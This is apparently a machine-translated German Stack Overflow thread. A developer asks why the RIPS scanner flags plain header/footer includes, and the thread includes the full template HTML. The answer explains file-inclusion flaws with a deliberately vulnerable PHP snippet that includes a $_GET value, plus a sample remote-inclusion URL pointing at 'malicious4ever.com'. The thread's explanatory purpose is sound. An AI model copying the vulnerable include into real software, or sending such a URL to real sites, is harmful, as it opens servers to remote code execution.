2015-05-12 9 views
8

Ich habe einen header.php und footer.php anfällig sein, die ich in allen anderen Seiten wie zu Hause, Kontakt sind, über uns usw.Wie man ein einfaches PHP-Include-Datei kommen

So wie ich den Header enthalten und die footer-Datei ist

<?php include 'inc/header.php'; 
some code 
some code 
include 'inc/header.php'; ?> 

Alles einfach und funktioniert gut.

Ich entschied mich, mein Projekt auf Schwachstelle und heruntergeladen RIPS-Scanner zu überprüfen. Nach dem Scan des Ergebnis

Userinput reaches sensitive sink. 

5: include include 'inc/header.php'; // header.php 
requires: 
    5: if(!in_array($_GET['file'], $files)) else 

der im Grunde sagt, dass sowohl Kopf- und Fußzeilen verwundbar sind, und ich soll

if(!in_array($_GET['file'], $files)) else 

Wie kommt eine einfache umfassen Kopf- und Fußzeile Datei anfällig verwenden? und wenn angreifbar, wie sollte ich implementieren if (! in_array ($ _ GET ['datei'], $ dateien)) sonst ??

header.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> 

<head> 
    <title></title> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <link rel="icon" href="images/common/lbfavicon.ico" /> 
    <meta name="author" content="example.com" /> 
    <link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" /> 
    <link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/> 
</head> 

<body> 
    <div id="header-wrapper"> 
     <div class="container"> 
      <div id="nav"> 
       <ul> 
        <li><a href="./">Home</a></li> 
        <li><a href="index.php?page=about">About</a></li> 
        <li><a href="index.php?page=contact">Contact</a></li> 
       </ul> 
      </div><!-- nav ends --> 
     </div><!-- container ends --> 
    </div><!-- header wrapper ends --> 

    <div id="header"> 
     <div class="container"> 
      <div id="logo"> 
       <a href="./"><img src="template/images/logo.png" width="125" height="45" alt="logo" /></a> 
      </div><!-- logo ends --> 
      <div id="search"> 
       <form method="get" action="searchresult.php"> 
        <div class="form-item"> 
         Search: <input type="text" maxlength="120" name="searchfor" /> 
        </div> 
       </form> 
      </div><!-- search ends --> 
     </div><!-- container ends--> 
    </div><!-- header ends --> 

    <div class="container"> 
     <div id="announcement"> 
      <div id="breadcrumbs"></div> 
     </div><!-- announcement ends --> 
     <div id="pagewrapper"> 

footer.php

 <div id="bottom"> 
      <div class="column"> 
       <h2>Abc.com</h2> 
        <ul> 
         <li><a href="about">About</a></li> 
         <li><a href="contact">Contact</a></li> 
        </ul> 
      </div> 

      <div class="column"> 
       <h2>Mode of payment</h2> 
        <ul> 
         <li>Credit/Debit card | Cheque | Demand draft</li> 
        </ul> 
       <h2>Get in touch</h2> 
        <ul> 
         <li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li> 
        </ul> 
      </div> 

      <div class="column"> 
       <h2>Call us/Mail us</h2> 
        <ul> 
         <li>0-9999384745/<a href="mailto:[email protected]">[email protected]</a></li> 
        </ul> 
       <h2>Share us</h2> 
        <ul> 
         <li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li> 
        </ul> 
      </div> 

      <div style="clear: both;"></div> 
     </div> <!-- bottom ends --> 

     <div id="footer"> 

     </div> 

     </div> <!--Pagewrapper end--> 
    </div>  
</body> 
</html> 
+1

Wir brauchen mehr Kontext auf dem Code enthalten in Ihrer umfassen, insbesondere in Bezug auf diese Aussage Sie auf dem Laufenden. Können Sie Ihren Post bearbeiten, um mehr Informationen zu erhalten? –

+0

Diese Frage braucht mehr Code, es sieht so aus, als ob Sie einige "anfällige" Codezeilen in der Kopfzeile von Zeile 5 haben, dachte ich. – VeeeneX

+2

'Benutzereingabe erreicht empfindliche Senke' Wenn Sie keine Dateinamen von einer Benutzereingabe erhalten, ist diese Warnung nicht sinnvoll. –

Antwort

5

Nun, ich nehme an, dies nur eine Warnung, sondern in einer globalen Weise, wenn Sie .php-Skripte, die Namen enthalten Wenn Sie von Benutzereingaben kommen, sollten Sie unbedingt überprüfen, ob die angegebenen Namen korrekt sind oder nicht (um Sicherheitsprobleme zu vermeiden).

Zum Beispiel verwenden viele Websites eine "globale" Datei, die eine Datei gemäß den Anforderungen des Benutzers enthalten würde.

Beispiel:

<?php 

$get = $_GET['action']; 
if ($get == "index") { 
    include "includes/index.php"; 
} 
//... 
else 
{ 
    include $get .".php"; 
} 

die wir nun vorstellen, dass jemand etwas schädliches Skript innerhalb Ihrer Website enthalten sein sollen. Wenn Ihr Server websiteübergreifende Anforderungen zulässt, könnten Benutzer ein externes Skript angeben, das für Ihren Server oder die anderen Benutzer gefährlich sein könnte.

Beispiel: ./global.php?action= http://malicious4ever.com/dirtything

+4

Es gibt einen Namen dafür, er heißt Dateieinschluss-Sicherheitslücke. –

+0

Vielen Dank, wusste nicht, dass es einen bestimmten Namen gab :) – Cr3aHal0

+0

@ Cr3aHal0, ja seine RFI, Remote-Datei Aufnahme. Aber was ist falsch mit einer einfachen Aufnahme von Kopf- und Fußzeile. –

Verwandte Themen